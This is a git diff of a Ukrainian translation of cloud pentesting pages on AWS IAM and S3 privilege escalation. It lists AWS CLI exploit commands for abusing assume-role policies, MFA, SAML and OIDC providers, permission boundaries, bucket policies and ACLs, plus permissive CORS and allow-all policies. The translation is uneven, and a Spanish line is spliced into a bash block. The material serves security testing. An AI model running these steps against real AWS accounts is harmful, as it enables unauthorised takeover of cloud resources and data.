+**Вплив:** Пряме підвищення привілеїв до рівня дозволів групи.
### **`iam:UpdateAssumeRolePolicy`**
-Дозволяє змінювати документ assume role policy ролі, що дає змогу виконувати assume role та отримувати пов'язані з нею дозволи.
+Дозволяє змінювати документ assume role policy ролі, що дає змогу прийняти роль і отримати пов'язані з нею дозволи.
**Exploit:**
```bash
aws iam update-assume-role-policy --role-name \
--policy-document file:///path/to/assume/role/policy.json
```
-Коли політика виглядає наступним чином і надає користувачу дозвіл взяти на себе роль:
+Якщо політика виглядає наступним чином і надає користувачу дозвіл assume the role:
```json
{
"Version": "2012-10-17",
@@ -167,9 +167,9 @@ aws iam update-assume-role-policy --role-name \
### **`iam:UploadSSHPublicKey` || `iam:DeactivateMFADevice`**
-Дозволяє завантажувати публічний SSH-ключ для автентифікації в CodeCommit та деактивувати MFA-пристрої, що може призвести до потенційного непрямого підвищення привілеїв.
+Дозволяє завантажувати SSH public key для автентифікації в CodeCommit та деактивувати MFA devices, що може призвести до потенційного непрямого підвищення привілеїв.
-**Експлойт для завантаження SSH-ключа:**
+**Exploit for SSH Key Upload:**
```bash
aws iam upload-ssh-public-key --user-name --ssh-public-key-body
```
@@ -177,24 +177,24 @@ aws iam upload-ssh-public-key --user-name --ssh-public-key-body --serial-number
```
-**Вплив:** Опосередковане підвищення привілеїв шляхом надання доступу до CodeCommit або відключення захисту MFA.
+**Вплив:** Indirect privilege escalation шляхом надання доступу до CodeCommit або відключення захисту MFA.
### **`iam:ResyncMFADevice`**
-Дозволяє ресинхронізацію MFA-пристрою, що потенційно може призвести до опосередкованого підвищення привілеїв через маніпуляції із захистом MFA.
+Дозволяє повторно синхронізувати MFA-пристрій, що потенційно може призвести до indirect privilege escalation шляхом маніпулювання захистом MFA.
**Команда Bash:**
```bash
aws iam resync-mfa-device --user-name --serial-number \
--authentication-code1 --authentication-code2
```
-**Вплив:** Indirect privilege escalation by adding or manipulating MFA devices.
+**Вплив:** Опосередковане підвищення привілеїв шляхом додавання або маніпуляцій з MFA-пристроями.
### `iam:UpdateSAMLProvider`, `iam:ListSAMLProviders`, (`iam:GetSAMLProvider`)
-Маючи ці дозволи, ви можете **змінити XML метадані SAML-з'єднання**. Потім ви можете зловживати **SAML federation**, щоб **login** під будь-якою **role, яка їй довіряє**.
+Маючи ці дозволи, ви можете **змінити XML метадані SAML-з'єднання**. Потім ви можете зловживати **SAML federation**, щоб **login** під будь-якою **role**, яка довіряє SAML federation.
-Зауважте, що внаслідок цього **legit users won't be able to login**. Однак ви можете отримати XML, вставити свій, login і відновити попередні налаштування.
+Зверніть увагу, що через це **легітимні користувачі не зможуть login**. Проте ви можете отримати XML, вставити свій, login і відновити попередні налаштування.
```bash
# List SAMLs
aws iam list-saml-providers
@@ -211,11 +211,11 @@ aws iam update-saml-provider --saml-metadata-document --saml-provider-ar
aws iam update-saml-provider --saml-metadata-document --saml-provider-arn
```
> [!NOTE]
-> TODO: Інструмент, здатний згенерувати метадані SAML і увійти з вказаною роллю
+> TODO: Інструмент, здатний згенерувати метадані SAML та виконати вхід з вказаною роллю
### `iam:UpdateOpenIDConnectProviderThumbprint`, `iam:ListOpenIDConnectProviders`, (`iam:`**`GetOpenIDConnectProvider`**)
-(Не впевнений у цьому) Якщо зловмисник має ці **дозволи**, він може додати новий **Thumbprint**, щоб мати можливість увійти у всі ролі, які довіряють провайдеру.
+(Не впевнений у цьому) Якщо у зловмисника є ці **дозволи**, він може додати новий **Thumbprint**, щоб мати можливість увійти у всі ролі, що довіряють цьому провайдеру.
```bash
# List providers
aws iam list-open-id-connect-providers
@@ -226,8 +226,35 @@ aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-ar
```
### `iam:PutUserPermissionsBoundary`
-Цей дозвіл дозволяє зловмиснику оновити permissions boundary користувача, потенційно призводячи до ескалації його привілеїв та дозволяючи виконувати дії, які зазвичай обмежені наявними дозволами.
+Цей дозвіл дозволяє зловмисникові оновити permissions boundary користувача, що потенційно підвищує їхні привілеї, дозволяючи виконувати дії, які зазвичай обмежені їхніми поточними дозволами.
+```bash
+aws iam put-user-permissions-boundary \
+--user-name \
+--permissions-boundary arn:aws:iam:::policy/
+Un ejemplo de una política que no aplica ninguna restricción es:
+
+
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Sid": "BoundaryAllowAll",
+"Effect": "Allow",
+"Action": "*",
+"Resource": "*"
+}
+]
+}
+```
+### `iam:PutRolePermissionsBoundary`
+
+Актор з правом iam:PutRolePermissionsBoundary може встановлювати permissions boundary для існуючого role. Ризик виникає, коли хтось із цим дозволом змінює permissions boundary ролі: він може неправильно обмежити операції (що призведе до збоїв у роботі сервісу) або, якщо прикріпить дозволяючий permissions boundary, фактично розширити можливості role і escalate privileges.
+```bash
+aws iam put-role-permissions-boundary \
+--role-name \
+--permissions-boundary arn:aws:iam::111122223333:policy/BoundaryPolicy
+```
## Посилання
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md
index e85a797bb..0492ff887 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md
@@ -6,9 +6,9 @@
### `s3:PutBucketNotification`, `s3:PutObject`, `s3:GetObject`
-Зловмисник, який має такі дозволи щодо цікавих бакетів, може захопити ресурси та ескалувати привілеї.
+Attacker з такими permissions над цікавими buckets може hijack resources і escalate privileges.
-Наприклад, зловмисник з такими **дозволами над cloudformation bucket** під назвою "cf-templates-nohnwfax6a6i-us-east-1" зможе перехопити розгортання. Доступ можна надати за допомогою такої політики:
+Наприклад, attacker з такими **permissions over a cloudformation bucket** під назвою "cf-templates-nohnwfax6a6i-us-east-1" зможе hijack the deployment. Доступ може бути наданий за допомогою наступної policy:
```json
{
"Version": "2012-10-17",
@@ -34,30 +34,29 @@
]
}
```
-І захоплення можливе тому, що існує **невелике часове вікно від моменту завантаження шаблону** в bucket до моменту його **розгортання**. Зловмисник може просто створити **lambda function** в своєму акаунті, яка **тригериться при надсиланні bucket notification**, і **захоплює** **вміст** цього **bucket**.
+І hijack можливий, бо існує **невеликий проміжок часу від моменту, коли шаблон завантажується** у bucket до моменту, коли шаблон **розгортається**. Атакуючий може просто створити у своєму акаунті **lambda function**, яка **trigger when a bucket notification is sent**, і **hijacks** **вміст** цього **bucket**.
.png>)
-Модуль Pacu [`cfn__resouce_injection`](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#cfn__resource_injection) можна використати для автоматизації цієї атаки.\
+Модуль Pacu [`cfn__resouce_injection`](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#cfn__resource_injection) може бути використаний для автоматизації цієї атаки.\
Для більш детальної інформації див. оригінальне дослідження: [https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/](https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/)
### `s3:PutObject`, `s3:GetObject`
-Це дозволи для **отримання та завантаження об'єктів у S3**. Декілька сервісів всередині AWS (і поза ним) використовують сховище S3 для зберігання **config files**.\
-Нападник з **доступом на читання** до них може знайти **чутливу інформацію**.\
-Нападник з **доступом на запис** до них може **змінити дані, щоб зловживати якимось сервісом і спробувати підвищити привілеї**.\
-Ось кілька прикладів:
+Це дозволи для **отримання та завантаження об’єктів у S3**. Декілька сервісів всередині AWS (і поза ним) використовують S3 для зберігання **config files**.\
+Атакуючий з **доступом на читання** до таких файлів може знайти в них **чутливу інформацію**.\
+Атакуючий з **доступом на запис** до них може **змінити дані, щоб зловживати якимсь сервісом і спробувати escalate privileges**.\
+Ось декілька прикладів:
-- Якщо EC2 instance зберігає **user data in a S3 bucket**, нападник може змінити її, щоб **виконати довільний код всередині EC2 instance**.
+- Якщо EC2 інстанс зберігає **user data in a S3 bucket**, атакуючий може змінити його, щоб **execute arbitrary code inside the EC2 instance**.
### `s3:PutObject`, `s3:GetObject` (optional) over terraform state file
-Дуже часто [terraform](https://cloud.hacktricks.wiki/en/pentesting-ci-cd/terraform-security.html) state файли зберігаються у blob-сховищах хмарних провайдерів, наприклад AWS S3. Суфікс файлу стану — `.tfstate`, а назви bucket-ів часто видають, що вони містять terraform state файли. Зазвичай у кожному AWS акаунті є такий bucket для зберігання state-файлів, які відображають стан акаунту.\
-Також зазвичай у реальних акаунтах майже всі розробники мають `s3:*`, а іноді навіть бізнес-користувачі мають `s3:Put*`.
+Дуже часто terraform state файли зберігаються у blob-сторожуванні провайдерів хмари, напр., AWS S3. Суфікс файлу стану — `.tfstate`, а назви bucket'ів часто теж видають, що вони містять terraform state файли. Зазвичай у кожному AWS акаунті є такий bucket для зберігання файлів стану, які показують стан акаунту. Також у реальних акаунтах майже завжди всі розробники мають `s3:*`, а інколи навіть бізнес-користувачі мають `s3:Put*`.
-Отже, якщо ви маєте перераховані дозволи над цими файлами, існує вектор атаки, який дозволяє отримати RCE в pipeline з привілеями `terraform` — у більшості випадків `AdministratorAccess`, що робить вас адміністратором cloud-акаунту. Також цей вектор можна використати для атаки відмови в обслуговуванні, змусивши `terraform` видалити легітимні ресурси.
+Тому, якщо у вас є перелічені дозволи на ці файли, існує вектор атаки, що дозволяє отримати RCE у pipeline під привілеями `terraform` — більшість часу це `AdministratorAccess`, що робить вас адміном cloud акаунту. Також ви можете використати цей вектор для denial of service, змусивши `terraform` видалити легітимні ресурси.
-Follow the description in the *Abusing Terraform State Files* section of the *Terraform Security* page for directly usable exploit code:
+Дотримуйтесь опису в секції *Abusing Terraform State Files* сторінки *Terraform Security* для безпосередньо використовуваного коду експлойту:
{{#ref}}
../../../../pentesting-ci-cd/terraform-security.md#abusing-terraform-state-files
@@ -65,7 +64,7 @@ Follow the description in the *Abusing Terraform State Files* section of the *Te
### `s3:PutBucketPolicy`
-Нападник, який має бути **з того самого акаунту** (інакше викличеться помилка `The specified method is not allowed`), з цим дозволом зможе надати собі більше прав над bucket(ами), що дозволить йому читати, записувати, змінювати, видаляти та робити buckets публічними.
+Атакуючий, який має бути **from the same account** (інакше спрацює помилка `The specified method is not allowed will trigger`), з цим дозволом зможе надати собі більше прав над bucket(ами), дозволяючи читати, записувати, змінювати, видаляти та робити bucket'и публічними.
```bash
# Update Bucket policy
aws s3api put-bucket-policy --policy file:///root/policy.json --bucket
@@ -123,8 +122,8 @@ aws s3api put-bucket-policy --policy file:///root/policy.json --bucket
@@ -151,7 +150,7 @@ aws s3api put-bucket-acl --bucket --access-control-policy file://a
```
### `s3:GetObjectAcl`, `s3:PutObjectAcl`
-Атакуючий може зловживати цими дозволами, щоб надати собі більший доступ до конкретних об'єктів всередині buckets.
+An attacker може зловживати цими дозволами, щоб надати собі більший доступ до конкретних об'єктів у buckets.
```bash
# Update bucket object ACL
aws s3api get-object-acl --bucket --key flag
@@ -178,9 +177,29 @@ aws s3api put-object-acl --bucket --key flag --access-control-poli
```
### `s3:GetObjectAcl`, `s3:PutObjectVersionAcl`
-Очікується, що атакувальник з цими привілеями зможе встановити Acl для конкретної версії об'єкта
+Очікується, що атакуючий з цими привілеями зможе встановити Acl для конкретної версії об'єкта.
```bash
aws s3api get-object-acl --bucket --key flag
aws s3api put-object-acl --bucket --key flag --version-id --access-control-policy file://objacl.json
```
+### `s3:PutBucketCORS`
+
+Зловмисник з дозволом s3:PutBucketCORS може змінювати CORS (Cross-Origin Resource Sharing) конфігурацію bucket'а, яка контролює, які веб-домени можуть отримувати доступ до його кінцевих точок. Якщо він встановить надмірно дозволяючу політику, будь-який вебсайт зможе робити прямі запити до bucket'а і читати відповіді з браузера.
+
+Це означає, що, потенційно, якщо автентифікований користувач вебзастосунку, розміщеного в цьому bucket'і, відвідає сайт зловмисника, зловмисник зможе скористатися дозволяючою CORS-політикою і, залежно від застосунку, отримати доступ до даних профілю користувача або навіть захопити його обліковий запис.
+```bash
+aws s3api put-bucket-cors \
+--bucket \
+--cors-configuration '{
+"CORSRules": [
+{
+"AllowedOrigins": ["*"],
+"AllowedMethods": ["GET", "PUT", "POST"],
+"AllowedHeaders": ["*"],
+"ExposeHeaders": ["x-amz-request-id"],
+"MaxAgeSeconds": 3000
+}
+]
+}'
+```
{{#include ../../../../banners/hacktricks-training.md}}